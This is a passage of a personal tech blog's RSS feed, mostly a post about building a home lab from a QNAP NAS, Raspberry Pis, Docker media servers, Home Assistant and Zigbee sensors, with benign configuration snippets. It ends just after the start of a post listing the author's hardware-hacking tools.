      &lt;p&gt;Windy on its free tier only allows you to check the data for the last week, but that’s fine because we will also stream the data to &lt;a href=&quot;https://www.pwsweather.com/&quot;&gt;PWS Weather platform by  Vaisala Xweather&lt;/a&gt; which keeps historical data with pretty charts and exports (and uses the exact same API as Windy). &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;1 inHg = 33.86389 hPa &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;The Weather Company owns both &lt;a href=&quot;https://weather.com/?Goto=Redirected&quot;&gt;weather.com&lt;/a&gt; and &lt;a href=&quot;https://www.wunderground.com/&quot;&gt;Weather Underground&lt;/a&gt;. &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Fri, 02 May 2025 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/iot/2025/05/02/weather-station.html</link>
        <guid isPermaLink="true">https://jpdias.me/iot/2025/05/02/weather-station.html</guid>
        
        <category>weather</category>
        
        <category>weatherstation</category>
        
        <category>smarthome</category>
        
        <category>iot</category>
        
        
        <category>iot</category>
        
      </item>
    
      <item>
        <title>From a NAS to a full-fledge homelab with spare parts</title>
        <description>&lt;p&gt;It all started with a QNAP NAS to backup my raw photography’s and have some way to store other media files. Then some smart home devices randomly appeared. And then some enhancements needed to be done to a proper way to stream audio and video to my LG &lt;del&gt;dumb&lt;/del&gt; smart TV. Then an UPS to safekeep the system operation. And from simple things with simple goals, piece by piece, we end up with a complex soup of things that somehow work. This details what I call my current &lt;em&gt;homelab&lt;/em&gt;, and gives the main ideas on how you can build one yourself… if you really want to.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;ground-zero-the-nas-quest&quot;&gt;Ground Zero: The NAS Quest&lt;/h2&gt;

&lt;p&gt;So, complex things start with the simplest of the objectives, in the case, storing and backup my always growing storage of both RAW and processed photographs from my &lt;a href=&quot;https://500px.com/jpdias&quot;&gt;other hobby&lt;/a&gt;. After some evaluation of the available alternatives I ended up with a &lt;a href=&quot;https://www.qnap.com/en/product/ts-328/specs/hardware&quot;&gt;QNAP TS-328&lt;/a&gt; 3-bay NAS with 2Gb of RAM with RAID 5 support. Loaded it up with 3 4Tb 3.5 HDDs and we are up and running with 8Tb usable storage.&lt;/p&gt;

&lt;center&gt;
 &lt;img src=&quot;/images/homelab/raid5.png&quot; alt=&quot;RAID5&quot; style=&quot;width:40%&quot; /&gt;
&lt;/center&gt;

&lt;p&gt;Of course the minimalist purpose of storing photographs was only the start. Soon after I started dumping my media library into it and streaming it to my devices via the old &lt;a href=&quot;https://en.wikipedia.org/wiki/DLNA&quot;&gt;DLNA&lt;/a&gt;. And struggling with the bad performance of the transcoding of the ARM Cortex-A53 4-core 1.4 GHz processor (even if it says that supports up to 1080p) — the secret lies in stating “up to” and not fully support it.&lt;/p&gt;

&lt;p&gt;Other things were fun to play with, like the &lt;a href=&quot;https://www.myqnap.org/&quot;&gt;third-party library of apps available&lt;/a&gt; and the ability of &lt;a href=&quot;https://www.qnap.com/en/software/container-station&quot;&gt;running containers&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Also, for remote access, while in the past I used to setup a OpenVPN server, open router ports and so on, that’s the old way of doing things. Nowadays I always use Tailscale as it makes everything more secure (Wireguard without needing to open ports on the router, what else can you ask for?) and easy (giving access to other users is as simple as sending an invite via the Tailscale portal). Ah, and it also has really well done applications for all operating systems, including an app for QNAP &lt;em&gt;(I know, I’ve become a little of Tailscale fanboy myself)&lt;/em&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-plex-episode&quot;&gt;The Plex Episode&lt;/h2&gt;

&lt;p&gt;So there is this thing called Plex, or more concretely Plex Media Server, that you can setup basically anywhere (containers, you know the drill). So the idea is, maybe, I could set up some Raspberry Pi with this Plex thingy, mount my QNAP storage and just index the media that I have. This would come with the plus of proper indexing and navigation with covers, nicer UI than what’s bundled up with TVs for DLNA streams, and so on.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/homelab/argon.png&quot; alt=&quot;Argon M.2 SSD case&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So I fetched my unused Raspberry Pi 4 with 8Gb of RAM from the shelf, set it up with a &lt;a href=&quot;https://argon40.com/products/argon-one-m-2-case-for-raspberry-pi-4&quot;&gt;Argon ONE M.2 case&lt;/a&gt; with &lt;a href=&quot;https://argon40.com/products/argon-one-m-2-expansion-board&quot;&gt;SATA SSD extension&lt;/a&gt;. I set it up with an 20€ 256Gb SSD Verbatim Vi560 and it worked perfectly… for a total of 3 months — Verbatim, I will never trust your products again.&lt;/p&gt;

&lt;p&gt;But, before the SSD disk fail story, the system was up and running. Mounted the QNAP folder with fstab (just adding a line to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/fstab&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;//&amp;lt;qnap_address&amp;gt;/Public /mnt/qnap cifs &lt;span class=&quot;nv&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;lt;user&amp;gt;,password&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;lt;password&amp;gt;,x-systemd.automount 0 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For running Plex on Docker the easiest way is to use the well-crafted images provided by &lt;a href=&quot;https://docs.linuxserver.io/images/docker-plex/&quot;&gt;LinuxServer.io&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;plex&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;lscr.io/linuxserver/plex:latest&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;plex&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;32400:32400&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1900:1900/udp&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;5353:5353/udp&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;8324:8324&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;32410:32410/udp&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;32412:32412/udp&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;32413:32413/udp&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;32414:32414/udp&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;32469:32469&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;PUID=1000&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;PGID=1000&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;TZ=Etc/UTC&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;VERSION=docker&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;PLEX_CLAIM=&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#optional&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/plex/data:/config&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/mnt/qnap/tvseries:/tv&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/mnt/qnap/movies:/movies&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;unless-stopped&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This allows you to access plex directly via the browser. However, if you want to install Plex on your TV, phone, and so on you need a Plex account, with it you can obtain the Plex claim token to basically associate your local library to your account. Which, at the end of the day, forces you to have a Plex account just to access your own stuff… not cool, but something I could live with, at least for a while.&lt;/p&gt;

&lt;h2 id=&quot;its-not-dns-there-is-a-no-way-its-dns-it-was-dns&quot;&gt;It’s not DNS. There is a no way it’s DNS. It was DNS.&lt;/h2&gt;

&lt;p&gt;So, with QNAP and Plex running, why not rollout your own DNS service? In the past I have used both &lt;a href=&quot;https://pi-hole.net/&quot;&gt;Pi-hole&lt;/a&gt; and &lt;a href=&quot;https://github.com/AdguardTeam/AdGuardHome&quot;&gt;AdGuardHome&lt;/a&gt; with different levels of success. My first idea was to run it directly on the Router, as I have a &lt;a href=&quot;https://openwrt.org/toh/tp-link/archer_c7&quot;&gt;TP-Link Archer C7 AC1750&lt;/a&gt; which is full-fledge compatible with OpenWrt. OpenWrt has a really good guide on &lt;a href=&quot;https://openwrt.org/docs/guide-user/services/dns/adguard-home&quot;&gt;how to run AdGuard on it&lt;/a&gt;, however the flash storage was not enough for it. Fear not, we can extend the &lt;a href=&quot;https://openwrt.org/docs/guide-user/additional-software/extroot_configuration&quot;&gt;RootFS with a USB storage device&lt;/a&gt;. And everything worked great! The problem was the stability of the service, as the router started to misbehave after a few weeks of uptime, requiring recurrent reboots to keep everything working —  not great, but not too terrible.&lt;/p&gt;

&lt;p&gt;While I was at it, also better configure this Raspberry Pi as part of my Tailscale tailnet. But not as just another node, but an &lt;em&gt;exit node&lt;/em&gt;, giving me something closer to a typical VPN, in a way that I can access all of my home network devices.&lt;/p&gt;

&lt;p&gt;However, after some episodes of issues with DNS resolution, I went with the more stable version of running it on the Raspberry Pi, alongside with Plex. This solution kinda of works, but if for some reason the Pi failed (looking at you again, Verbatim), this became a single point of failure (as the announcements of DNS servers available on the networks were not really working properly and fallback to external DNS resolvers as expected when the main one had failed).&lt;/p&gt;

&lt;p&gt;Meanwhile I decided to invest in a more recent router, with support for Wi-Fi 6, and the choice was a &lt;a href=&quot;https://openwrt.org/toh/asus/tuf-ax4200&quot;&gt;Asus TUF Gaming AX4200&lt;/a&gt; as it is fully compatible with OpenWrt and has 256Mb of flash and 512Mb of RAM which would be more than enough to run AdGuard. But for now, I will keep with the stock firmware as it is performing well and stable and will resort to the default Adguard public DNS servers to block most of the things without the complexity of running my own DNS service.&lt;/p&gt;

&lt;h2 id=&quot;the-home-automation-adventure&quot;&gt;The Home Automation Adventure&lt;/h2&gt;

&lt;p&gt;Nowadays having some surveillance cameras is common practice, in my case I opted for a few (3x) IP66 rated TP-Link TC65 3MP Wi-Fi cameras with Night Vision for outdoor use. They work perfectly well out-of-the box via the Tapo app even under bad weather, and allow local access via a configurable RTSP stream. Given that, I decided to extend the range of products and brought two more cheap indoor cameras (Tapo C200), and a few (4x) Tapo P110 Plugs with built-in energy monitoring. All of it a joy to use.&lt;/p&gt;

&lt;p&gt;But over the years I had accumulated a lot of Smart Devices with the most diverse protocol landscape, including some cheap Xiaomi Mi Humidity and Temperature sensors with BLE that I use to monitor my house comfort (as I &lt;a href=&quot;/iot/2022/10/03/a-not-so-smart-smart-home&quot;&gt;wrote previously here&lt;/a&gt;). And while I could spend more money and buy the &lt;a href=&quot;https://community.tp-link.com/en/smart-home/stories/detail/501808&quot;&gt;proprietary sub-GHz sh!t that Tapo created to home sensors&lt;/a&gt;, I finally decided to give a second chance to &lt;a href=&quot;https://www.home-assistant.io/&quot;&gt;Home Assistant&lt;/a&gt;. I say second change as the first time that I went by that road I totally regretted it, as it was a mess of software, without proper backup strategies, fragmentation of components within the UI, and so on.&lt;/p&gt;

&lt;p&gt;But this was a side-quest, and let’s get back to the main story, as the endeavors of trying out Home Assistant were, let’s say, delayed.&lt;/p&gt;

&lt;h2 id=&quot;the-verbatim-disk-fail&quot;&gt;The Verbatim Disk Fail&lt;/h2&gt;

&lt;p&gt;After three months of smooth operation, I started to have misbehavior’s. Plex not responding, Raspberry Pi not responding, etc. My first option on the table was some kind of issue with the Argon case, as it needed to provide enough energy to the SSD to be able to operate, and this was a known issue in the first revisions of the Argon case. A lot of hours were lost, a lot of tearing it apart and rebuild it again, lot’s of SSD formats, and the story goes on. The Raspberry Pi simply didn’t boot in the most of the occasions, going straight to the BIOS screen that would claim ‘no bootable disk found’. And this was true, because as soon I flashed a USB drive with a random Linux distro, the Pi booted correctly.&lt;/p&gt;

&lt;p&gt;Eventually, after a lot of trial and error, the SSD simply and consistently died. And it was the culprit from the beginning. Oh well, disks fail, maybe not so fast…&lt;/p&gt;

&lt;h2 id=&quot;from-scratch&quot;&gt;From Scratch&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/images/homelab/portainer.png&quot; alt=&quot;Portainer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So, disk fail. Let’s re-do everything from scratch, with some lessons learnt. First off, I scavenged a old WD 256Gb SSD from a no longer used laptop (project for another day) and formatted it with the same &lt;a href=&quot;https://www.raspberrypi.com/software/operating-systems/&quot;&gt;Raspberry Pi OS Lite&lt;/a&gt; (basically the bloatware-less version of the Raspberry Pi OS). After that setting up the essentials, including Docker. But managing Docker-compose stacks by hand it is just… boring. Thus I decided to go full-fledge to &lt;a href=&quot;https://docs.portainer.io/start/install-ce/server/docker/linux&quot;&gt;Portainer&lt;/a&gt;. It gives you a nice UI for managing all your container stacks, and a kind of library to find software, so called “App Templates”. Which makes things easy to deploy new software.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/homelab/monitoring.jpeg&quot; alt=&quot;Grafana&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Given that it was a matter of setting up some &lt;em&gt;core&lt;/em&gt; software:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://jellyfin.org/&quot;&gt;Jellyfin&lt;/a&gt;, finally a nice alternative to Plex, without the bloat and mandatory accounts garbage;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://heimdall.site/&quot;&gt;Heimdall&lt;/a&gt;, a minimalist application dashboard working as a landing page to the Raspberry Pi (but I’m looking at you &lt;a href=&quot;https://github.com/gethomepage/homepage&quot;&gt;Homepage&lt;/a&gt;, as you seem a promising alternative);&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://transmissionbt.com/&quot;&gt;Transmission&lt;/a&gt; as a service to download random stuff directly to the NAS, &lt;em&gt;yarr!&lt;/em&gt;;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grafana.com/&quot;&gt;Grafana&lt;/a&gt;, &lt;a href=&quot;https://github.com/google/cadvisor&quot;&gt;cAdvisor&lt;/a&gt;, &lt;a href=&quot;https://prometheus.io/&quot;&gt;Prometheus&lt;/a&gt;, and &lt;a href=&quot;https://prometheus.io/docs/guides/node-exporter/&quot;&gt;Prometheus node exporter&lt;/a&gt; working as a nice monitoring stack, specially to control the temperatures as the Argon case is not the best thing in terms of heat dissipation. Grafana was loaded up with the &lt;a href=&quot;https://grafana.com/grafana/dashboards/15120-raspberry-pi-docker-monitoring/&quot;&gt;nice “Raspberry Pi &amp;amp; Docker Monitoring dashboard template by Oijkn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Talking about heat dissipation, Argon case comes with a piece of &lt;strong&gt;proprietary software&lt;/strong&gt; that you can easy install to control a little fan that comes in the case. However, the software is not the best thing around, but there is a &lt;a href=&quot;https://github.com/spapadim/argon1&quot;&gt;cool reimplementation that works top notch&lt;/a&gt; that allows you to configure the fan via I2C and control de case added on/off button.&lt;/p&gt;

&lt;p&gt;And we are up and running!&lt;/p&gt;

&lt;h2 id=&quot;smart-home-pt-ii&quot;&gt;Smart Home Pt. II&lt;/h2&gt;

&lt;p&gt;Now, getting back to the Home Assistant story. I took up one Raspberry Pi 3B that I had around (the minimal recommended to run Home Assistant, like why on Earth you need so many resources Home Assistant?!) and just flashed the out of the box image of Home Assistant on an &lt;a href=&quot;https://www.amazon.com/SanDisk-Industrial-MicroSD-SDSDQAF3-008G-I-Adapter/dp/B07BZ5SY18&quot;&gt;industrial grade 8Gb SD card from Sandisk&lt;/a&gt; — let’s see how long it last, compared to regular SD cards.&lt;/p&gt;

&lt;p&gt;After setting it up, surprisingly easy to do, I could add my &lt;a href=&quot;https://sonoff.tech/product/gateway-and-sensors/sonoff-zigbee-3-0-usb-dongle-plus-p/&quot;&gt;Sonoff Zigbee dongle&lt;/a&gt; and it was automatically discovered and setup. Now I just needed some devices to “discover”. And while I had those cheap Xiaomi Humidity and Temperature BLE sensors laying around, I remembered that recently I found out that those things could be converted to Zigbee, so challenge unlocked… or not so much of a challenge, just &lt;a href=&quot;https://smarthomescene.com/guides/convert-xiaomi-lywsd03mmc-from-bluetooth-to-zigbee/&quot;&gt;go here and follow the steps&lt;/a&gt; (make sure that your devices are LYWSD03MMC or otherwise you will not be able to do this). And simple as that we have our Zigbee sensors up and running.&lt;/p&gt;

&lt;p&gt;Next step was to integrate with the Tapo devices, both cameras and plugs. While the plugs were plug and play (&lt;em&gt;pun intended&lt;/em&gt;), the cameras not so much, and forced me to delve into the jungle of &lt;a href=&quot;https://hacs.xyz/&quot;&gt;HACS&lt;/a&gt; that I totally would recommend to stay away of if you can as this HACS sometimes work in fun ways… but after finding the right &lt;a href=&quot;https://github.com/JurajNyiri/HomeAssistant-Tapo-Control&quot;&gt;HACS&lt;/a&gt;, it was ready to go, cameras integrated.&lt;/p&gt;

&lt;p&gt;Last thing remaining was my hacked &lt;a href=&quot;https://www.ikea.com/pt/en/p/vindriktning-air-quality-sensor-70498242/&quot;&gt;Ikea Vindriktning Air Quality Sensor&lt;/a&gt;, to which I added an Wemos D1 for streaming PM2.5 readings over the air, plus a BME280 to add humidity, temperature and pressure monitoring to the unit. Here the easiest way to go was to just use ESPhome instead of custom code, as it integrates really well with Home Assistant.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;uart&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;rx_pin&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;D2&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;baud_rate&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;9600&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;sensor&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;pm1006&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;pm_2_5&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Particulate&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Matter&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;2.5µm&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Concentration&quot;&lt;/span&gt;

  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;bme280_spi&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;temperature&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;BME280&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Temperature&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;pressure&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;BME280&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Pressure&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;humidity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;BME280&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Humidity&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;cs_pin&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;D5&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;switch&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;platform&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;restart&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Device&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Restart&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I will not delve into the IKEA Vindriktning hardware  &lt;em&gt;hack&lt;/em&gt; itself as there are plenty of &lt;a href=&quot;https://www.instructables.com/IKEA-VINDRIKTNING-BME280/&quot;&gt;tutorials out there on how to do it&lt;/a&gt;. Just want to point that this is, by far, one of the easiest things to hack out there, with easily accessible power and data lines, and plenty of space for additional hardware inside of the “box” (however, the heat of the components shifts a bit the ambient temperature read by the BME sensor).&lt;/p&gt;

&lt;p&gt;Of course, I also added the Home Assistant Raspberry Pi to my tailnet as a node, as it makes it easier to share access to it.&lt;/p&gt;

&lt;h2 id=&quot;the-finale-current-setup&quot;&gt;The Finale (Current Setup)&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/images/homelab/map.png&quot; alt=&quot;Network map&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At last, the &lt;em&gt;grande finale&lt;/em&gt;&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. As stated in the beginning, simple things with simple purposes end up being complex if you give to them enough time. I brought the NAS more than 4 years ago now, and it made part of a lot of different setups, being the only piece that still stands the test of time in this big ball of mud. If you are here, maybe you are considering building your own thing, either an homelab or a smart home setup. The only piece of advice that I have for you is to try to keep the mess to a minimum, other that that, just don’t trust it in life or death situations (that’s why my smoke sensors work purely offline).&lt;/p&gt;

&lt;h2 id=&quot;footnotes&quot;&gt;Footnotes&lt;/h2&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;All of this system parts is backed up by an &lt;a href=&quot;https://www.cyberpower.com/global/en/product/sku/br700elcd&quot;&gt;Cyberpower UPS BR700ELCD 700VA 420W 8 Sockets&lt;/a&gt; with Surge and Spike Protection, and recommend that you should do the same, specially if you have an NAS. Connecting the UPS USB connection to the NAS automatically sets up the NAS to enter in safe mode if the UPS kicks in, which is a nice thing to have. Also, having network connection even when the neighborhood lights go out is nice. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Thu, 05 Sep 2024 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/homelab/2024/09/05/homelab-or-not.html</link>
        <guid isPermaLink="true">https://jpdias.me/homelab/2024/09/05/homelab-or-not.html</guid>
        
        <category>homelab</category>
        
        <category>security</category>
        
        <category>automation</category>
        
        <category>smarthome</category>
        
        <category>iot</category>
        
        
        <category>homelab</category>
        
      </item>
    
      <item>
        <title>Hardware Hacking and Research Toolbox Inventory</title>
        <description>&lt;p&gt;Inspired by the blogpost &lt;a href=&quot;https://www.davidsopas.com/my-red-team-assessment-hardware-list/&quot;&gt;&lt;em&gt;My Red Team assessment hardware&lt;/em&gt;&lt;/a&gt; by &lt;a href=&quot;https://www.davidsopas.com/&quot;&gt;David Sopas&lt;/a&gt; this post describes hardware tools that I have in my inventory, their purpose as well as the features/firmwares/tricks that motivated me to buy them. This is not intended to be an exhaustively detailed list, but I will try to give some rational and use-cases for each of the tools, as well as categorize them.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Do it yourself projects (partially or completely) will be marked as such with the tag [DIY]. URLs provided are either to the repositories, official websites, technical references, or online sellers. If you find any URL broken please contact me, otherwise you can still find the tools by searching the name of them with any search engine.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;None of the links to online stores are sponsored in any way and should only be used as a reference.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;wi-fi-bluetooth-and-other-radios&quot;&gt;Wi-Fi, Bluetooth and other radios&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;[DIY] &lt;a href=&quot;https://github.com/JosephHewitt/wardriver_rev3&quot;&gt;Wardriver.uk by Joseph Hewitt&lt;/a&gt;&lt;/p&gt;

    &lt;center&gt;&lt;img src=&quot;/images/hwinventory/wardriver.jpg&quot; alt=&quot;wardriver&quot; style=&quot;max-width:55%;text-align:center;&quot; /&gt;&lt;/center&gt;

